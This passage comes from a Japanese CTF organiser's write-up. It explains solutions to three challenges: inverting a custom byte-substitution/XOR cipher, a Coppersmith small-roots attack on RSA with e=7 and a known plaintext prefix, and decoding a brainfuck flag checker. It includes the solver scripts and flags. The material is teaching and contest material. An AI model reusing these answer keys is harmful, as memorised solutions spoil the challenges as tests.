b"\x57\x85\x0e\x3b\xa5\x2f\x4c\x0a\x71\x75\xd5\x05\xff\x0b\x44\x2a\xd4\xb5\x11\xfa\x67\x23\xbd\xac\x9c\x47\x9d\x22\x5a\xef\x63\x39\xe5\xbf\x7e\x46\x64\xe3\x2e\xd1\xb9\x40\x92\x88\xa9\xa3\x02\x50\xc4\x35\x7d\x36\xcf\xe9\xb8\x96\xad\x98\x66\x74\x86\xc3\xec\x0f\x1c\x51\xe8\x1f\xc1\xd9\x16\x7f\xc0\xa8\xf4\x34\xc2\x19\x37\xea\x18\x42\x8b\xed\xda\xa1\x28\x1e\x3c\x6e\xa7\x8a\x09\x95\x94\x6d\x9e\x3d\x4a\x8f\x8c\x27\x5f\xe7\xde\xf8\xe0\x72\x6a\x82\x91\xeb\x08\xf9\xf5\xe2\x21\x2d\xe1\xf3\xc6\xba\x7a\x73\x01\x5d\xce\x3f\x59\xee\xcb\x60\x41\xd2\x58\xf6\xb4\x55\x78\x62\x70\x4e\xb2\xa4\xbb\xdb\xdc\x29\x9b\x97\xf7\x24\x76\x4b\x93\xa0\x43\xcc\x7b\xe6\x38\xa2\x65\xc5\xd8\x3a\x26\x8d\x69\xc7\xbc\x07\x25\xb1\x5e\xfb\xb0\x13\x77\xaf\x49\x99\xcd\xca\x04\xbe\x6c\xb7\x56\x6b\x17\x80\x87\x2b\x45\x81\x8e\x68\xf1\x53\x33\xa6\xfd\xd3\x0d\x2c\x14\x7c\x20\x83\x90\x4f\x1a\x89\xf0\xfe\x32\xdf\xd6\x06\x1b\xd0\xaa\xae\x79\xdd\x84\xe4\x03\x12\x9a\x6f\xab\xd7\x1d\x3e\xc9\x0c\x9f\x30\x10\x54\xb3\xf2\x15\x61\x5c\xb6\x31\x5b\x4d\xc8\xfc\x48\x52\x00" out_table = b"\x06\x8c\x77\x86\x11\xed\x25\x89\x66\x64\x79\x7d\xc9\x0d\xa5\x99\x44\x6b\x71\x47\xaa\x9e\x1b\x0a\xc3\xbf\x1e\x6e\xa6\x82\xf0\x61\x84\x35\x42\x90\x87\xb2\xb0\xc2\x3d\xf4\x12\x73\x45\x3e\xe9\xcd\x26\x41\x33\xa4\x5b\x2d\x53\xe8\x3a\xc5\xbc\x18\xe5\xba\x81\xeb\x58\x9f\x49\xcc\x2f\xac\xcf\x8a\x0b\x48\x24\x9c\xa2\xb4\x15\xd0\x1f\x19\xd3\x16\xf3\x07\x4b\x78\x80\x34\xe2\x31\xc1\x57\x00\x7e\x5e\x70\x54\x21\x69\x9b\x46\x6a\xb6\xcb\x9a\x40\xb9\x17\x6d\x59\xfc\xea\x60\x32\xdf\x75\xe3\x62\x38\xa7\x85\xd7\x03\xf1\x83\xb5\x55\x5f\xee\xfd\xad\x0e\x6c\xa3\x20\xc0\x13\x08\x02\x5a\x72\x9d\x5d\xfb\x88\x93\xf9\x39\x74\xd8\xd2\x4f\x04\x67\x3f\xce\xe1\x4d\xd5\xca\x2c\x94\x2b\xdb\x09\x2a\x37\xe7\x95\x29\x4e\x22\x01\x0f\xdc\xd4\xc8\x56\x7a\x14\xf8\xb8\x30\x43\xa8\xa9\xf5\x8d\x5c\xab\x6f\x96\x1a\x23\x4a\x0c\x2e\x51\xd6\x92\xc7\x52\x8e\xe4\x4c\x65\x68\x97\xbb\x05\xdd\xbe\xef\x8b\xb7\x98\x76\xc4\xda\xb3\x7b\xa1\x36\xa0\x91\xaf\xf6\xfa\xe0\x10\x27\x1c\xbd\xfe\x50\xde\x7c\xf2\xb1\xae\xc6\xd9\xe6\x3c\xd1\x7f\xff\x63\x1d\xec\x3b\x8f\x28\xf7" xor_table = b"\x72\x1e\xec\x52\x38\xe9\xb5\xc2\x46\x47\x75\x1f\x53\x0f\xea\x27\xcf\x57\xd7\x6e\x8c\x8c\x89\x2a\xf2\x86\x8a\x7b\x19\x7a\x2e\x01\xab\x15\x08\xd3\x2b\x5b\x9f\x7c\x86\xde\x5d\x98\x3c\x6f\x82\x58\xf2\xea\x85\x62\xa5\x77\xf3\x9e\x3e\x37\x10\x8b\x9e\xa0\x71\x1b\xce\x9d\x7e\x2f\xb3\x17\x01\x65\x14\x5c\x79\x2f\xad\xe1\x28\xf9\x55\x92\x3a\x69\x1f\x12\x5e\xa6\x41\xa4\xdb\xda\x47\x3b\xe3\x28\x08\x09\xe9\x9c\xfa\x22\x7c\x62\xd2\x05\x28\x86\x95\xe4\x45\x8e\xd2\xe7\xeb\x66\xed\x58\x64\x42\xba\xa9\x70\x21\xa0\x91\x51\x68\xff\x7e\xa9\x6c\x12\x33\xbb\x7a\xde\x1b\xe0\xed\xce\x7c\x04\x01\xcf\x23\x17\x36\x78\x1b\x06\xd3\x5e\x25\x5e\x98\x86\x50\x4a\x0d\x31\x0c\x39\x96\x6e\x72\x2b\xc2\x0f\x31\xdd\x4c\xd7\x44\xa9\xf9\xb7\xed\x40\xb9\x68\x73\xa6\xb0\xef\x3e\x2e\x37\x03\xb6\xe4\x4c\xcb\x5d\x83\x74\x10\xf0\x54\x62\xc1\x28\xdf\x5c\xff\xa7\x6e\x84\x59\x39\xeb\x63\xa0\x5b\x17\x3d\x97\xee\xcb\x8b\x21\x7b\x77\x98\xd5\xa9\x59\x44\x8d\x38\x70\x06\xef\x7b\x63\x10\x07\x44\x51\xe9\x89\x29\xce\x3d\x5a\x4a\x0c\x33\x32\x21\x65\xd1\x6d\x7f\xd5\x81" inv_out_table = [0]*256 for i, ti in enumerate(out_table): inv_out_table[ti] = i print(inv_out_table) plain = b"" for i in range(0, len(enc), 256): output_buf = enc[i:i+256] input_buf = [0] * 256 for j in range(256): # output_buf[i] = out_table[input_buf[idx_table[i]]] ^ xor_table[i] input_buf[idx_table[j]] = inv_out_table[output_buf[j] ^ xor_table[j]] plain += bytes(input_buf) print(plain) with open("repair.pdf", "wb") as f: f.write(plain)
元は条件分岐+XORだったのですが、ノリで要素増やしていったら難しくなりすぎたみたいですね...
Crypto
summeRSA [300pt, 32 solves]
彼も平文の一部がわかっていれば鼻血を出すまで解読を試みることはなかったかもしれません。
from Crypto.Util.number import * from random import getrandbits with open("flag.txt", "rb") as f: flag = f.read() assert len(flag) == 18 p = getStrongPrime(512) q = getStrongPrime(512) N = p * q m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag) e = 7 d = pow(e, -1, (p - 1) * (q - 1)) c = pow(m, e, N) print(f"N = {N}") print(f"e = {e}") print(f"c = {c}")
RSAで、平文の一部がわかっています。また、eの値も小さいですね。
想定は「RSA 平文 一部 攻撃」や「RSA partical plaintext attack」などで検索してこのスライドなどの情報に辿りついてもらうことです。
www.slideshare.net
今回の問題はこのスライドの「その14」にあたる「平文mの上位ビットまたは下位ビットが知られてはいけない」に該当します。Coppersmith's Attackです。
あとは検索して実装するだけです。SageMathを使います。
~ ossifrage.
まででは既知bitが足りず解読できませんが、フラグフォーマットのnitic_ctf{
を入れると間に合います。
from Crypto.Util.number import * N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703 e = 7 c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310 PR.<x> = PolynomialRing(Zmod(N)) prefix = bytes_to_long(b"the magic words are squeamish ossifrage. nitic_ctf{") k = 8 * 8 f = ((prefix << k) + x)^e - c x0 = f.small_roots(X=2^k, beta=1)[0] print(b"nitic_ctf{" + long_to_bytes(x0))
現代暗号問も作った方がいいと思ったけどCrypto苦手なのでうまく面白い式変形をする問題が作れなかったので、典型貼るだけのクソ問になりました。ごめんなさい。
Misc
braincheck [300pt, 36 solves]
このプログラムは入力されたフラグをチェックします。
>,>,[>+>+<<-]>>[<<+>>-]<<[-<->]<-----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
フラグを入力すると正しいか判定しれくれるbrainfuckソースコードを解読しろという問題です。適当な文字列を入れるとWrong
になります。
謝罪
本当はbrainfuckの処理系の仕様に関する記述があったんですが、問題文に入っていませんでした。
- 全体のメモリの容量は256byte - プログラムカウンタがメモリの範囲を越えたら最初もしくは最後へ巡回するように移動する - メモリの値は8bitの範囲で、オーバーフローする演算は0または0xffへと巡回するように演算される (0xff+1=0, 0-1=0xff) - 入出力はASCIIコードを用いる (`,`命令のときに`A`を入力すると`0x41`が入る)
恐らくcellが32bitだったりwrap-aroundしなかったりする処理系を使っている方はそこでつまずいたと思います。本当に申し訳ありません。
解説
ソースコードをみると共通部分が多く見つかります。そこで塊ごとに整理してみます。
>, >, [>+>+<<-]>>[<<+>>-]<<[-<->]<-----[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<---------[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<, [>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<, >>+<<<[-]< [[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]] >>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
[>+>+<<-]>>[<<+>>-]<<[-<->]< 何か [<+>[-]]>>[<<+>>-]<,
という構造が続いていることがわかります。「brainfuck debugger」と検索すれば Javascript Brainfuck Interpreter / Debuggerやオンラインbrainf*ckデバッガなどが見つかると思います。(なんなら実装してもいいです)
今回はオンラインbrainf*ckデバッガを使います。@
を使えばブレークポイントを挟んでメモリを見ることができるので、3行目をこのように書き替えて入力をnitic_ctf{hoge}
にして実行してみましょう。
@[>+>+<<-]>>@[<<+>>-]<<@[-<->]<@-----@[<+>[-]]@>>[<<+>>-]<,@
ブレークポイントごとの結果は以下のようになります。
00,6e,69,00,00,00...
1文字目が1番地、2文字目が2番地で受け取られる (0x6e, 0x69はASCIIでそれぞれnとi)
00,6e,00,69,69,00...
2文字目を3番地と4番地に移動させる
00,6e,69,69,00,00...
4番地から2番地に移動させる
00,05,00,69,00,00...
2番地-3番地を2番地に格納、3番地はクリアされる
00,00,00,69,00,00...
2番地が-5される
00,00,00,69,00,00...
何も起こらない
00,69,74,00,00,00...
3番地から1番地に移動させ、2番地に3文字目が入力される
この何も起こらない6の部分は何でしょうか。コードでは[<+>[-]]
にあたります。
このコードを解読すると、「現在位置が0でなければ現在位置-1に1を足し、現在位置を0にする」という処理であることがわかります。
実際に入力の2文字目を変えてnhtic_ctf{hoge}
などにしてみると、0番地が1足される様子が確認できます。
そして、最後のこの部分。
[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]] >>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
これもブレークポイントを挟めばわかりますが、1番地が0であるかどうかで処理が分岐しており、Wrong
と表示されるケースだと1番地は0にはなっていません。つまり1番地が0になるケースだと正解の表示になるのでは?と推測できます。
4,5の処理からどう判定処理しているかを考えると、2文字目-1文字目の差を見て正しいかどうか判定していることがわかります。この差の値はプログラム中に埋め込まれているのでそれを取り出せばフラグが復元できます。
import re with open("source.bf", "r") as f: source = f.read() diff = [] for match in re.findall(R"\[>\+>\+<<-\]>>\[<<\+>>-\]<<\[-<->\]<(.*?)\[<\+>\[-\]\]>>\[<<\+>>-\]<,", source): if match[0] == ">": # 一部for文で引き算を表現しているのでそれを考慮する loop_count, fraction = re.match(R">(.*?)\[<----->-\]<(.*)", match).groups() diff.append(len(loop_count) * 5 + len(fraction)) else: diff.append(len(match)) print(diff) flag = [ord("n")] for i in range(len(diff)): flag.append((flag[-1] - diff[i]) % 0x100) print(bytes(flag))
❯ py solve.py [5, 245, 11, 6, 4, 252, 239, 14, 235, 22, 242, 4, 251, 15, 243, 9, 6, 36, 194] b'nitic_ctf{esoteric?}'
nitic_ctf{esoteric?}
Miscで出してますが実質rev問です。revタグも追加で付けておけば良かったなと反省しています。
感想
CTFの作問をするのは楽しいですが、問題チェックはちゃんとしないと駄目ですね。
トラブル時の対応も素早くできるようにある程度作業を自動化しておけばよかったです。
大丈夫か確認する時間も取りすぎていたので次回はもう少し手早く動けるように頑張りたいですね...
ただ、色々不備があり迷惑かけたけどやっぱり楽しかったです。皆さんのWriteupも楽しみにしています。